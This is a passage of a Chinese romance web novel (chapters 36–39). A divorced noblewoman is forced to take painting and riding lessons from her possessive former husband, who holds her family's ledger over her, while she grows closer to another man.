欢喜之情加上感激之情,一下子让她昏了头,四下张望着,恨不得立马买上丝线现场给他重新绣出一张帕子来。 躲在暗处暗中监视她的残影看得眉头紧皱。 幸好在戚央央买到丝线的时候,陡然想起,那该死的裴陆戟,竟然不允许她送礼物给别人,还让她亲自给他绣一张手帕! 心头那些丝丝缕缕的欣喜尽数散去。 天啦噜,可恶啊,她从来没有像这一刻那样想鲨了裴陆戟! 第36章 他黑着脸,还得忍耐 戚央央熬了一夜在房间里绣帕子, 把眼睛都熬红了,终于敷衍地把帕子绣完,此外, 还多绣了一个针工细密精致滚金边的苏绣荷包,一朵金丝莲绣得栩栩如生。 其实她绣帕子只用了快天亮时不到几盏茶时间就绣完, 荷包却绣了整整一个晚上, 完了她还暗怪绣帕子时间长害她没时间休息。 倒头睡到将近未时, 才起来下楼想随便找些东西吃了再去天成阁, 发现沐江恩已经叫客栈掌柜给她安排好热腾腾的牛肉汤面。 一碗面吃完,她还恋恋不舍地盯着那个豁了口的白瓷碗, 想花银子跟掌柜买下。 买了碗用绸布包裹好上楼放好,出来的时候刚好遇到沐江恩, 他是刚刚在外面做完事赶回来,打算亲自护送她去天成阁再回来。 迎面撞上他的时候, 戚央央紧张得嗓子眼都提起来, 心想到以前自己收藏旧物的习惯被裴陆戟取笑过, 生怕也会因此被沐江恩耻笑, 怕会被看不起,于是见了他就躲闪起来。 “小丫头, 睡醒啦?我让掌柜的给你留的面,你吃了没?够不够?不够我带你去东市那边吃糖麻花, 也是顶顶好吃的小食,吃饱了才好去上工。” 沐江恩春风迎人地笑着,戚央央则扭捏起来。 见她不说话, 以为她不开心,他沉吟片刻,又道:“丫头, 等我一下。” 他回身走到廊道拐角处,没多久就用肩膀扛着一个大筐瓷碗回来,“唰”一声把大筐碗整整齐齐垒到她面前,直接让戚央央看傻了眼。 “听客栈掌柜说你喜欢他们家的碗,我给你买了一大堆,这下够了吧?开心了?” 戚央央高兴了,红着脸离开,他便在后方追了上去。 一路护送她到天成阁的巷子口,目送她进入天成阁的门才离开。 戚央央想了一路刚刚沐大哥给她买的碗,笑容都快掩不住了。 可此刻站在账房屋外等她半天的男子,一看见她来就黑着张脸进去房间,把门关上。 央央心里美着呢,哪注意到他撒脾气将门关上?见门没开,就索性坐在账房外的美人靠上,倚栏傻笑。 过没多久,屋里的人又把门打开,冷道:“戚央央,你还要我等你多久?” 人说完已经转身进屋了,戚央央还杵在原地傻笑,等那抹阴冷的影子再次出现朝她投来冷戾的光,她才惊觉过来正事要紧,慌忙收起那些满脑子的花花草草,揉了揉脸让自己严肃起来,低着眉进屋。 “裴世子,你要的帕子绣好了。”戚央央做起正事也是毫不含糊,三两下露出疲态,还指了指自己熬红的眼睛,煞有其事卖惨道:“熬了一晚上绣的,可时间仓促,可能还是寒碜了些,还望世子爷不要见怪。” 谁知裴陆戟不但不领情,还掏出个荷包,阴阳怪气道:“花两盏茶时间绣的,能绣出这么长一根竹子,算有心了毕竟你前头绣的荷包就花足整整一夜了,不过荷包确实是精工之作,” “耽误久些情有可原。”他最后的每一个字都仿佛咬着后槽牙说的,盯着她看的时候,笑容莫名瘆人。 岂止,她花两盏茶时间绣他的帕子,还能边绣边打瞌睡,竹子也好些地方跳了针,导致断截的地方还真不少。 忍不住生气,却也只能把怒气往下压,笑道,“帕子绣得如此敷衍,本想让你重绣的,但是你能知道我刚好缺个荷包,还绣得这样精致的份上,这次就算了吧。” 戚央央眼睛越瞪越大,眼巴巴看着他把她给沐大哥绣的荷包揣入腰间,却又说不出半句话。 她要说了的话,他就得毁约撕毁账本了。 昨日她回去的时候,确实有想过他必定派人来监视她一言一举,所以她从头到尾都在忍着、克制着,只是她想着回房间之后把门窗锁死,自个悄悄地做,应该就不怕了,谁知道荷包都让偷了! 她正沮丧着的时候,他突然清咳了一声,说了一句: “谢谢你的帕子。” 一句话说得扭扭捏捏、硬邦邦的。 戚央央侧了侧目,没好气道:“不客气,其实以前我也绣过帕子给你,兰花的,你忘了?” “后来你没要,我便拿来做了个手炉的绒套。” 说起这些前尘旧事的时候,她已经不会带有任何情绪了,纯粹只是局外人在陈述的感觉。 可裴陆戟听在心里,却有一种“往事已成空,还如一梦中”的悔恨疼痛,将他寸寸灼烧着。 声音哑了些,“我当时只想告诉你,我并不喜爱兰花,而家菊清雅脱俗也未必不如兰。” 戚央央“哦”了“哦”,撑着脑袋打呵欠,像是根本就没听明白意思,又或是根本就不在意了。 如果她仔细看,大概就能留意到,裴陆戟今日身上穿的靛青色圆领袍,是去年她亲自做给他的生辰礼物。 那日他不甘不愿试穿了一下,结果她两眼冒光直夸他皮肤白,穿靛青色太好看,弄得他双耳赤红,恼羞地立马脱下,此后就被他收在箱底,不曾穿过了。 这衣裳被收了整整一年时间不穿,竟然簇新一样,不但没有半点霉味,连半条折痕也没有,穿在他身上合身得体,风度翩翩。 “你不绣菊花了吗?”他趁她没睡着的时候,不甘心地又问一句,“这金丝莲虽然像极菊花,但它并非菊花。” 听见他声音在催促她回答,她这才不情不愿地睁开惺忪的眼睛,“啊对对,我好像绣错了,你把荷包还我,我回去重新改成菊花的再给你” 说着,她手就要往他腰间掏荷包,被他一把紧紧握住手腕。 抬头,便见他清冷俊逸的脸上,已经渐渐蓄满怒气。 这人也太奇怪了,好生生的,谁像他那么爱生气。 “你你手上有茧硌得我疼”央央看似真的很疼地彪出了泪光。 他强行将怒火压下去,长吁口气,松开了她的手腕,口气上难免还带着点生气后的冷淡:“不必,不是菊花也无妨。” 他默默收回手,眸底抑压不住的失落。 把她硌疼不是因为他手上有茧,那是昨夜他一夜没睡,通宵把那个她送的琉璃瓶和夜光石粘合,被碎片刺得双手都是伤口,没来得及包扎便成这样了。 但凡有认真看也不至于把他手上的伤口认成是茧。 胸口有股汹涌的血气上涌,感觉喉头竟有些腥甜的感觉,他默默掏出那个他费了一夜时间粘好的琉璃夜光瓶,放在了旁边的条案上。 “如此屋里光亮些,你也好跟着我学画。” “什么?学学画??” 一句话把戚央央从睡意中惊醒,可惜她根本没留意到瓶子上的裂纹,或者说她压根就没瞧那琉璃瓶。 “你你让我每天过来,不是让我帮忙管管账么?”不然干嘛选在这账房啊 裴陆戟好气又好笑,“你谎话倒是撒得挺好,什么掌柜让你来天成阁做工?嗯?” 戚央央很是无奈,“那还不是因为你说,不能让郝掌柜知道我们的事,若被沐大哥知道我和你的事,以他性子必是要来给你好看的,到时候他带我走了,郝掌柜不就知道你骗他了?我也就不能每天来你这了呀” 她的话被他听得一肚子气,也只能笑着道:“他的手下连我安插在天成阁的护卫都应付不了,你凭什么说他有本事过来给我好看?要能带你走,昨日你被我困在账房时,他的人连翻墙进来的机会都没,你怎么有底气说这话?” 心中的人被他说成那样,央央气得脸都绿了,“你!!” 可是一想到现在账本在他手上,只能忍声吞气。 他却得寸进尺道:“对了,以后不许听见你叫他沐大哥。” “你!!这都要管?” 他继续补充道,“也不许叫沐哥哥、不许叫他名,不许叫他字,表字也不可以” 央央美眸恼瞪,“那!我要怎么叫??” “不要叫。”他冷声道,“反正上述的,你都记住了,叫‘哥哥’,或者‘大哥’、‘郎君’也不可以。” 说完,见对面的姑娘脸都绿了,心道自己好像过分了,便咳了一声,幽幽道:“你,要实在需要唤他,叫声‘喂’,不就好了。” 戚央央包住拳头,笑着告诫自己要冷静 “好”她皮笑肉不笑,觉得自己今生所有的忍耐度似乎都用在这里了,“那裴世子,我可以问一下你为何要我来这里跟你学画,这对你有什么好处吗?” 裴陆戟侧了一下身去旁边拿画纸展开,欠欠道:“我知道你不擅长画,特意让你来这学画羞辱你不行?” 戚央央:“”行,真行。 他见对面的姑娘气得两腮鼓鼓,灵动的眼珠一会一闪的,不由看得岔神了,手中笔尖的墨大滴滴落,把画纸中央染了好大一点污点都不知道。 反应过来的时候,他连忙用左手袖住右手,运笔在纸上一气呵成,那大片的墨迹,便变成一片连绵起伏的山脉,气吞河山,把央央看愣了。 果不愧是京城第一贵公子。 裴陆戟记得,以前戚央央最喜欢偷偷看他作画,她嫁与他的五年间,都在竭力学习当一个大家妇的模样,为了努力能匹配得上他,也会偷偷地连书写,偷学琴棋书画,但是这些年,大家妇倒是学做得像模像样,但其他的话,除了字练得还能看以外,其余的简直不堪一睹。 曾经,她也求过他教她作画,可她靠过来,让他手把手抓着她手画的时候,他因为她的靠近而心慌意乱,冷冷地斥了她一声“不正经”,就扭头走掉。 他记得就是从那一次起,她便开始换掉了一切好看的衣裳,穿起那些宽大老气的衣物,将自己胸`脯勒得紧紧的。 第37章 他一时之间竟不舍打断 他知道那一次她一定很难过, 从此以后她就没再缠过他让他教画画,即使他后来后悔不已,有好几次见她自己一个人偷偷练, 都想上前教导,却总也拉不下那张脸。 “你过来这边, 我教你运笔。” 他平白无故要教她画画, 戚央央心里不情愿, 身子乏得要死, 困得要死,却又为了账本不得不忍下来。 好在看了他即兴运笔勾勒的那片绵延的山脉, 恢弘大气,她心想, 要是能拿来做江山河海图的绣样,一定能绣得比她以前那张刺绣好。 “好吧, 我会好好学的。” 她终于朝他走了过来, 站在边上要去拿画笔, 却被他伸臂拦住, “用我这支。” 他伸手将她拉了过来,圈在自己手臂间, 把笔塞进她手,并握住她的手教运笔, 没两下戚央央就皱着眉怪叫道:“一定一定非得这么教吗??”同时身体也在远离他,抵触他的靠近。 她手从他大手中抽离的时候,他眼神变得黯然, 却立马就重新去抓回她的手,捏住笔杆,同时用另外一手禁锢住她柳腰, 不许她挣脱自己道:“只是教个画画,你这样也不愿意是打算碰硬了?赌我不会毁掉账本?” “!!!” 戚央央没想过他竟然无赖成这样,可她也不是吃素的,是有底线的:“我答应听世子的,但也不代表我会任由世子轻`薄于我,女子的清白最是重要,如果我守不住,那我宁愿与世子玉石俱焚!” “相信我父兄,戚家和甄家的人,他们都很疼惜爱护我,九泉之下必也不会愿意看我受恶人胁迫,自古到今受奸人所害蒙受冤屈的人何其多,也不是每个后人都能帮祖上洗脱冤屈正名,我这样也算尽力了!死后长辈们必不会怪我!” 见她只是为了不碰触他,就闹到鱼死网破的决裂程度,他心脏绞着痛,却也只能松开禁锢她腰的手,同时身体后挪了一些,尽量不碰到她,与她保持一定距离道: “没有轻`薄你,只是教画画而已,我就握着你手,教你运笔练个手感罢了,是你自己抗拒挣扎,你乖乖学我肯定就不碰你。” 见他退让,央央炸起的毛这才慢慢回落,“行,但是” 她盯了盯被他握住手的地方,“但是你手的茧子啊,你手” “受伤了?” 她可算是注意到他手上一个个的伤口了。 裴陆戟绷了一下午的脸,唇角终于轻轻地勾了下。 “昨日,你把你送我的东西,摔碎了,我连夜粘好不小心被刺的。” 他说话的同时,引导她去看条案上摆放的琉璃夜光瓶。 他知道,她一定认得这块石头。 “之前这萤石和琉璃瓶一直被我收在衙门办公的地方,有一次有人趁着我去见太子,拿走了,上回我还你的那块是我自己找的,这块才是你送的,后来被我知道就要回来了。” 他盯着她的脸看,在等她反应,可她脸上好像没什么反应,只是有些浅浅的疑惑,似乎在疑惑他为何跟她说这些。 他心思微动,忍不住一鼓作气道:“我已经知道了,先前有人拿着它去跟你耀武扬威,但那时候我也在着急地找着。” “我没有把它送人。” “哦。”她丈八和尚摸不着头脑似的看着他,轻点了点头,又试探性地问,“那要开始教画画喽?” 裴陆戟这回真是彻底溃败了,他没想到她只是不爱他了而已,怎么会连带着往常的观察力和记忆力都消失不见了,他还能说什么呢? 见他一副萎靡不振的样子,她没想过是因为她,只是好心地又问了句:“你不想教的话,今日不教无妨,再说了,这地方阴阴暗暗的” 她环顾了一下周遭,“摆个夜光石也没用啊,要么开个大点的窗户,要么换个书房,怎么也比这里舒坦。” 他本意让她来这里,是为了引导她看见那块失而复得的夜光石,顺便跟她解释误会,慢慢地解开二人之间的心结,而营造的暧昧一点的环境,没想到她听过解释后仍一副置身事外的感觉。 那一瞬间他只觉心灰意冷。 “戚央央,”他挫败不已道,“以前你姨母总说我心冷,说我是块捂不热的石头,可我想” “你的心,比我还冷。” 十年的时间,几乎倾注心血的付出,就算他不是她原先要找的人,她又怎么可以说抽身就抽身了,还那么地干脆利落、毫不含糊? 他尚且不能做到,可她倒是用事实证明了。 “都和离了,还总说这些旧事做什么?”她不满地嘟囔着,“世子爷你要是闲了没事干,不妨去下田庄锄锄地铲铲草什么的,身为朝廷命官多了解下百姓之苦,总好过浪费时间在折磨我一小女子身上,简直浪费生命。” 他快要被她气笑了,索性地找张椅子坐了下来,将两手摊开:“教,说了今日要教你运笔作画,当然要教,你嫌我手上的伤口硌人,不妨你帮忙涂药包扎一下,药箱就在你脚边,我自己涂不到。” 要差遣她帮忙涂药就帮忙涂药,非要这么周折拐那么大一个弯子,戚央央笑着恭敬地朝他一屈身,乖巧道:“好,奴婢这就给世子爷涂药。” 给他涂药的过程中,她还一直记恨着刚刚他诋毁她的沐大哥,说他的人不顶事,说他没用的话,下手抹药的时候就没了个轻重。 不是把药粉倒重了腌得他伤口渗血,眉头直皱,就是包扎的时候力度把握不好,勒得他手腕通不了血,手指紫黑。 她总一副无辜明媚的样子,歉意愧疚地笑道:“啊,世子,对不起啊,我真是太笨了,这点事情做不好,害你遭罪了,你手疼不疼,我给你呼呼。” “世子,我不是有意的呀,弄疼你了吧?真对不起,要不我让你打一下作补偿?” 她演绎得情真意切,毫无破绽,倒是看不出来她故意的。 最后她将他的手裹成粽子似的,他自然也不能再手把手握着她教画了。 他只好从旁指导着她运笔、勾勒。 一朵简单清丽菊花跃现眼前,裴陆戟满意地点点头,戚央央则失落不已。 “世子,你不是教我勾勒那些延绵的山脉吗?”她指着那幅被他放在一旁的半成品画,道。 待看清她眼里执着的神情,裴陆戟忽然想起那张被他捡去的青山江河帕子,手指微一用力,差点把包裹好的伤口重新弄出血迹。 他笑着道:“那个需要运力的,我手受伤了不方便,改日好了握你手教。” 戚央央望着那奇伟瑰丽的山川江河哀叹,“好吧” 走的时候天都黑了,裴陆戟只把她送到花厅处,就让她自己离开。 “好了,你自己走吧,那位姓沐的已经在巷子口等你了。”他咬牙微笑,这是他的暗卫来报告诉他的。 他之所以只肯送她到花厅这边,不送她出天成阁,也是因为怕自己见了那姓沐的,会忍不住对他下手。 于他而言,沐江恩不过区区荆王走狗,还是还没闯出什么大名头的小喽啰,他一只手指一不小心就能搓死他,所以得克制。 “好了,你刚才弄疼我时不是说,可以让我打一下作补偿吗?” 他微笑着的模样像极了人畜无害的儒雅贵公子,谁也没想到他如此小心眼、眦睚必报! 戚央央是仗着他爱护自己名声,不与小女子计较的秉性,才故意那么说的,谁承想他还真敢当真! “那”既然是自己说过的话,没办法了,那也是为了父兄的案子咬牙忍了吧。 “你你来吧,我准备好了。”她挺起胸闭着眼,收腹站在他面前,一副大义凛然的样子。 彭州城初夏清爽的风拂过花厅周围的紫藤花,拂动沙沙的声音,带着紫藤花的花香味拂过脸颊,催起她鬓边的秀发,将一叶紫色花瓣落在她眉间,月色下,妖娆灼眼。 他心脏跳动越发加速,擂鼓一样,连手都在发颤。 俯身低头朝她凑去,他高大的身影在黑夜中笼罩着她,没有了星星的夜辉。 始终,他还是记起碰她时她浑身上下对他写满的抗拒,那个忘情的吻并没有落下,只用那被纱布层层包裹的指尖,轻触了一下她额间的花瓣,将那叶紫红收进袖间,声音像刚刚攀越完高山岳岭般,急促嘶哑道:“好了。” 戚央央紧闭着的眼睛睁开,看着他的眼神比被他打了更愤怒:“你用什么来碰我??” 他笑得一派云淡风轻,抬了抬那只被她荼毒成粽子的手, “手指,怎么了?” “你不对根本不是纱布的粗糙感”戚央央满脸炸裂的表情,“触感是是柔滑的,你你用嘴唇亲我???” 看着她瞪大眼睛生动无比的表情,裴陆戟一时之间竟不舍打断,就这样目送她想哭哭不得的样子离去。 等她的身影彻底消失不见,他才悄悄将那片柔滑的花瓣,轻贴在唇上。 第38章 他今夜大概也睡不着了 沐江恩一直在巷子口等着, 戚央央一肚子气走到附近,看见他的身影,眼神都亮了。 可不到片晌, 她又懊恼地低下头,死命用手指去搓额间的位置, 差点没把那里搓下一层皮。 沐江恩见她边走路边搓额头的样子, 好奇地朝她走去, 一把拉住她的手, 制止她搓额的行为,并认真仔细在她脸上看了起来。 “那额头上什么也没有啊, 别去搓它,都被你弄破皮, 不疼吗?” 他轻轻地从怀里掏出一瓶什么药粉,用一条干净的帕子沾了, 冰冰凉凉地敷在她额头, 那瞬间, 沁凉如端走云霄间的感觉, 便游遍全身。 “别去搓它了,好吗?” 看着他暖融人心的笑容, 戚央央一日的不快都烟消云散,正要脱口而出唤他“沐大哥”, 忽想起什么,及时止了口,眼珠一转, 笑着亲切地唤道:“卿卿。” 没来得及反应的沐江恩愣在原地,半晌才开口问道:“丫头你在喊谁?” 本来想出叫“卿卿”的时候,她有些耀武扬威地想让此时躲在暗处监视的人知道她的厉害, 可现在被沐江恩一反问,她突然就怵了。 手指间紧紧地扣着,都扣出了汗。 这个叫法是不是有点太沐大哥会讨厌如此轻佻的自己吗? 见她低着头不说话,沐江恩此时却笑了笑,“是哪个亲呀?” “是亲人的亲,还是亲卿爱卿,是以卿卿的卿?” 她不敢多说一句,只是在他提到后面的“卿”的时候,微抬了一下头,忐忑地看他一眼。 他便笑道:“你喜欢这个称呼,那我以后也叫你卿卿吧。” “走吧,卿卿,我们回家。”他非常有礼节向她作出一个相请的动作。 这一刻,戚央央感觉有被暖到,眼泪汪汪的差点流出。 他没有嘲笑她,还陪着她一块叫她“卿卿”,他没有嫌恶她太主动。 “那个呃卿卿,你以后可以叫我小央的。”满心感激的戚央央,突然想起先前,他好像想学她兄长一样,叫她小央来着。 沿柳溪巷一路走到尽头再拐弯就是他们下榻的客栈了,这条老巷子夜里也有许多夜市摊,沿路都挂着灯笼,间或有男女孩童从旁提着大包小包经过,同小时候一样,人间烟火气十足。 她侧头满心喜悦地望着他,随后,只见他笑着轻轻颔首,道了一句:“好。” “小央卿卿。” 这一夜,戚央央满心欢喜地在床上翻来覆去,根本就睡不着,真的睡不着! 而残影等她屋里的灯火熄灭,回去一五一十细禀给世子。 汇报完出来的时候,向来应对大场面面不改色的残影,竟感觉自己后背有些糯湿,被夜风一吹飕飕的凉。 他感觉世子今夜大概也睡不着了。 第二天醒来,戚央央还在沉浸在幸福中,她对着铜镜梳妆的时候,看见额头上一点白色的粉末,仍会露出甜蜜的笑。 手帕已经帮她的江恩卿卿洗好晾好了,正整齐地叠在手边。 她端详着端详着,眉头便皱了起来。 江恩卿卿的帕子看着还是太素了些。 突然想起裴陆戟寥寥几笔就勾勒出的磅礴气势的绵延山脉江河,要是能用以入绣样,定能绣出一幅和她的江恩卿卿极为相配的刺绣。 意气风发的年轻将军,和被收复的江山河海,千古英雄浩然气,铁血丹心照汗青 戚央央一想那场景,连头发丝都在尖叫。 本来对今日前去天成阁受裴陆戟差遣学作画苦不堪言的她,似乎找到了那么一丝动力。 依然是沐江恩一路送她到巷子口,然后又匆匆赶回去处叛变旧部的问题。 戚央央生怕她的卿卿一来一回地送太辛苦,想说以后自己来就好,反正离客栈也不算远。 可她的卿卿露出虎牙一笑道:“怕你一姑娘危险,我来回跑一跑就当操练了。” 央央捂脸笑得快要昏倒过去,与他分开踏进天成阁时,仍然不舍地回头去张望巷子口的方向。 仿佛那被他站过的巷子口,连缺砖少瓦的老旧街坊门楼,都显得格外巍峨耐看。 满眼春花秋月的人,进了一座荒芜孤寒的园子,能把终日置身荒凉的人给逼死。 裴陆戟前夜熬了一夜粘瓶子没睡,昨夜又睡不着三更半夜起来,把堆积的各州郡递呈的文书处完,还没到未时,就基本把所有要务都处完,然后想起昨日她的花,又捋起衣袖干了些别的,等她到来。 戚央央今天来到西边账房的时候,发现账房边上的墙被砸烂了,露出一个开得极大极低矮的窗户,屋内的条案书桌都透进了光,几盆富丽的金丝皇菊被摆放在窗前,被午后的日光洒下一片碎金。 走进去之后,她发现这些都是裴陆戟亲自动手干的,顿时纳罕不已。 “世子爷什么时候连泥水匠的活都会干了?”她看着蹲在地上往花砖抹糯米砂浆的裴陆戟,身上华美的锦袍上都沾满了泥污,一时生起些好奇。 裴陆戟自顾自地抹着砂浆,没有抬头看她,像个锯嘴闷葫芦似的。 央央也不是真的关心他为啥会干泥水匠的活,就是纯粹今日心情好,多问两句罢了,见他不爱搭人,也不再多话,自个哼着小调搬椅子坐一旁赏花,他愿意一整日不跟她说话的话,也再好不过,省得她再费心应付。 可惜他总学不会如了她的愿,见她轻快地坐椅子上晃荡着腿,想起昨夜残影向他汇报的事,和刚才她在天成阁门口一副恋恋不舍的花痴模样,气得他胸口酿了一腔的血。 “因为想忙碌些,省得自己看不惯某些人,被活活气死!”他突然停下手里的活,抬了头看她。 这下,央央便看见了他那双熬得比昨日还红的眼睛。 “你想忙碌些,要么我安排些活给你干?”没抓住重点的戚央央还在他伤口撒盐,“天成阁生意太好,忙得连个搬运的伙计都没时间请,我进来时好几箱货还在门口垒着,要不你去帮郝掌柜搬一下?” “哦,对了,刚刚跨院那边的茅房好像满了,要不你也顺带清一下?” 握泥抹子的手背上突起了青筋,他气得“锵”一声将泥抹扔了。 “戚央央,让你来是当大爷的吗?” 俊美公子被气得白皙脸庞都红了,好似泼洒了脂粉。 “那茅房我清?”她无辜地眨了下眼。 他被她气得不会说话,随手用巾帕擦掉手上的砂浆,那些昨日被她包成粽子一样的纱带早已层层脱下,手上纵横交错的新伤旧伤已经同砂浆混和一起,无法擦掉。 无法擦掉他干脆也不擦了,将捋至小臂处,露出流畅结实臂肌的长袖放下,甩了甩,头也不回往门外走。 走出门口站了站,吸了口气,没多会又进来了。 “今日不学画了,我带你出去骑马可好?” 他记得上次她只身一人前往淮东找他,就是因为骑马技术不好,把自己摔了一身重伤,那时候起,他就一直很愧疚当初教她骑马时没好好教。 戚央央听说今日不作画了,想到没机会要到他的青山江河作绣样,眼里的光都黯淡了下来。 “啊?不教了吗?我还想学你那青山的勾画呢” 裴陆戟盯了一眼她失落的小眼神,侧转过身,“马若骑得好,下回继续教作画,不过那青山不适合你画,我会教点别的。” 要不是为了拿绣样,戚央央她如今才懒得跟他学画! 以前想破脑袋要学是因为他喜欢,可现在她家江恩卿卿不喜这些文绉绉的东西,学骑马倒是相符。 “那我不学画了,骑马学得好,世子可否赏我昨日你随手一画的那张图?” 和她夫妻五年,裴陆戟怎么可能不知道她心里在想什么?当即就黑了脸:“那张我扔了。” “扔了??”她好似很着急,“扔在哪里,我去找找” “戚央央!” “好,那骑马,先学骑马” · 他要带她去郊外学骑,马车一早在角门处备好。 临出发前,他伸手拉住她袖子,“等一下。” 她在纳闷着的时候,只见他不知从何处拿来一瓶药味淡淡的药瓶,作势要帮她上药道:“以后不许让我以外的男子帮忙上药” 话说到一半,又改口道:“算了,受伤了的话,紧急情况不拘泥谁帮你上药了。” 见他倾身过来要擦掉她家江恩卿卿给她抹的药粉,她后退大步用手拦阻道:“你做什么?!” “过来,给你擦了重新上药,这药粉抹得这样粗糙难看,也不怕毁容了。” 他尖酸道。 “不要!你别擦!” “不想听话了?” 戚央央想到账本,含泪站定了。 他没直接用手指碰她,从笔架山上取下一支没用过的毫笔,轻轻扫掉她额头的一坨白色药粉,沾上伤药一点,随后,又往边上的瓷瓶里沾了点有颜色的花汁。 “这些是掺了三七、红花、丹参等活血化瘀的花汁。” 他用沾了花汁的小毫笔,抬袖往她额间精心描绘一朵含苞欲放的菊纹花钿。 时人花重金都买不到京城第一公子的亲笔画稿,此时正用他毫墨值千金的手,帮她妆点描花。 此时美人额中钿,娇艳灼灼得让人挪不开目光。 戚央央根本不在意自己脸上被画了一朵多贵的花,拿起铜镜左看右看,唉声叹气,想着幸好他最后没制止别人给她上药,回去后她得立马就洗掉这朵糟心玩意,想个借口让她的卿卿再帮她涂抹药粉。 第39章 他唇边笑容僵了僵 “叫卿卿不好, 太难听了。” 坐马车前往郊外的时候,见她一路沉寂不说话,他没忍住提了一句。 马车从彭州城内出城门往城郊一里外赤岩草原去的路上颠簸, 他左手一直握着右手手腕处,疼得有些冷汗直飚。 被琉璃碎片弄出的伤其实都不是很要紧, 真正伤到手筋让他无法再执笔描绘精细笔触的, 是那时在羁留室被她簪子扎进手心那次。 那会血流了一地, 也伤到了手筋, 方才握细毫笔给她点妆,花耗的时间长了些, 以致右手手筋又伤到了。 “就知道你又派人偷听了,又不许我叫卿卿是吧?”她脸从车窗处转回来, 带了一脸的青草阳光味,眉头轻皱的模样也教人心中坚冰融化。 “不没有。”他喃喃地将脸转到窗口, 装作自己没被她看吸引住。 “就是觉得难听而已。” “你不喜欢又没人叫你偷听, 不爱听就把那些听墙角的撤了得了, 省得难为自己, 又不是叫你。” 他眉头渐蹙,气笑道:“我不许你喊卿卿, 不定你又喊出什么更丢人的称呼了吧?这次又喊什么呢?吾爱?心肝?还是小冤家?” 他话一落,戚央央惊讶地盯着他看。 那眼神里有发现新陆州的光。 “哼, 算了!”他泄气地转过一旁不看她,“戚央央我告诉你,你这是一种病, 早晚得治!” “治什么?裴世子很喜欢替人治病吗?”戚央央伶牙俐齿回敬:“那就先替你自己治治口臭病吧!” “戚央央!”他猛地抓住她手臂。 纵然是隔着衣裳抓着,但也能明显看见她眼底的嫌弃和抗拒。 他被刺了一下,立马松手, 把身子转过一边,“你这样,我还如何教你骑马了?” “世子不愿意的话,也可以不教,我听世子的。”她倒是越发洒脱了。 车上又是一路无言。 裴陆戟支着额头失笑,他也不明白自己为何,这个骑马还非教不可了,明明她那么厌恶,放下她就是了。 可一想到只要放下她,她就立马飞奔别人怀里,他又连一刻钟的时间也不能等。 “戚央央,如果当初我救了你,成了你的救命恩人,现在的你还会这样对我吗?” 沉默了一段路之后,他又开始忍不住道。 “哪样对你了?说这些做什么?”又是浓浓的不耐和厌烦。 “那如果我以后救了你,救你很多次,以命相护,舍命的那种,你会如何?你选他还是选我?” “什么呀?”她烦了。 后面她被追问了几次问烦了,只好没好气道:“又没发生过的事,谁知道呀?你真奇怪!” 他“哦”了一下,不再说话。 抵达城郊外的时候,他也没再像上车的时候双手拎她腰把她拎下车,许是今日看太多次她烦厌的眼神,许是像他这样高傲自尊心重的人,经不起她一而再的嫌弃。 下车的时候,他长腿一跨下了车就头也不回扬长而去,留下车上的戚央央扶着车辕小心翼翼在边缘探出鞋尖去够地。 够了几次没能够的着,最后一次够着了平地,发现是一张有膝盖高的马杌,递杌子的是修竹。 “少夫人,好久不见。”修竹笑道。 他是昨日才被世子派人去快马加鞭从京城带过来的,早上刚刚到彭州,连城门都没进,就被安排来郊外这边了。 戚央央以前在英国公府的时候,需要给裴陆戟带东西,或者了解他一切行程的时候,总会去找修竹,修竹是在裴陆戟身边唯一希望她能如愿追逐上世子的人。 可是央央如今看见他,却已不见往昔的热切,眼神都沉寂了许多。 “是修竹啊,谢谢你。” 与往昔道谢的话没什么两样,但修竹就是觉得,少夫人她哪里感觉不一样了。 果然,她下了车,眼神平静地告诫他道:“以后你叫我央央或者戚姑娘吧,别再叫少夫人了。” 修竹望着她下车后不再追随世子身影,而是往马的方向走得干脆利索的样子,心头不由升起一股难言的失落。 裴陆戟在一旁检查马鞍和马勒,戚央央站一旁远远地看着,也不靠近。 “过来,先教你如何检查马装备,要在骑马之前检查清楚确保安全。” 他背对着她,说出的话凉飕飕。 可她却并不在意,尽量配合地往前一步,按他指示翻看检查。 这一步教完,他开始教她上马。 “要站马的左侧,左手握缰,先用左脚踩马镫,跨腿上马坐稳,前期不熟悉,也可以坐稳后伸手到马右侧,帮助右脚踩马镫。” 他的解说出奇地详细且明了,就算是个一窍不通的人,此时被那么一教,仿佛也立马能骑到马上转几圈。 以前他被英国公逼着教她骑马时,是想着她以后骑马的机会并不多,因而只是随意敷衍地一教。 而后来,他被她那次吓到了,然后他就专门去找了几个对骑马一窍不通的人,从他们身上总结出一套教骑马的经验,打算日后慢慢地教。 只是没想到这一等,只能等到二人和离了,陌路了之后。 也不知道她日后面对另外一个她会倾情付出的人时,是不是也会像那次那么傻,如果是这样的话,他必定倾囊相教。 “教你学骑马,不是为了让你胡乱去莽的,”他突然说教道:“骑马是一项有相当重文化底蕴的技能,同周时的六艺一样,是文雅的运动。若被我知道你胆敢骑马将自个陷于危险中” 他突然变得狠厉道:“我会杀了那个让你危险的人。” 戚央央从没见过他这种真的动了杀心的模样,那一刻吓得她差点脚滑摔下马。 “你你胡说八道什么?”她吓得心脏还狂跳不已,“是又没吃药了吗?” 他却又恢复成原来那个清冷的模样,在前头替她牵着马走, “我吃没吃药的样子,你不是最清楚?你若不听,可以试试看,我到时还能不能吃药。” “那按这样说的话,”戚央央不服道:“我上回赶去淮东是为了你而摔的马,你怎么不把自己给杀了呢?” “你希望我把自己给杀了吗?”他突然在前方停下,扭过头来看马头上的姑娘,黢黑的眸子沉得见不到底。 “不是我希不希望,是你刚才自己说的嘛,最让我有危险的人不是你吗?若不是你,我怎么会去淮东,怎么会摔马,怎么会嫁给你这个危险的家伙,还害惨了我姨母和我爹娘兄长戚家和甄家列祖列宗,若不是你,我肯定还是待嫁之身,也更有资格和能力去追求自己真正喜爱的人,更” 她抱怨的话才说到一半,就感觉一道黑影从马前一下子跃到了自己身后,一下揽住她身子与她同骑一匹,用力揪住马缰,随后那马也不知道怎么的,竟发了疯似的往前狂奔,怎么叫唤都停不下来。 身后的男人力气大得惊人,钳住她身子,抓着马缰疯了似的往前冲,耳边嗖嗖的被风刮得脸上生疼,她被迫撞在他坚`硬的胸口,后脑勺疼得厉害。 “裴裴陆戟你!世世子爷停下来!你快停下来啊!!!” 央央吓得只能不断地呼叫着,他却依然半点停下的意思都没,双臂像塑了铁似的钳锢着她,掰都掰不动,咬也没咬动。 她急得快哭了,“裴陆戟你个疯子!我死了做鬼也不会放过你的!!” 被颠得鬓发散乱的美人在他怀里惊慌失措地尖叫、哭个不停,喊得却全是别人的名字。 “呜沐沐大哥沐沐哥哥江恩卿卿呜呜呜呜呜” 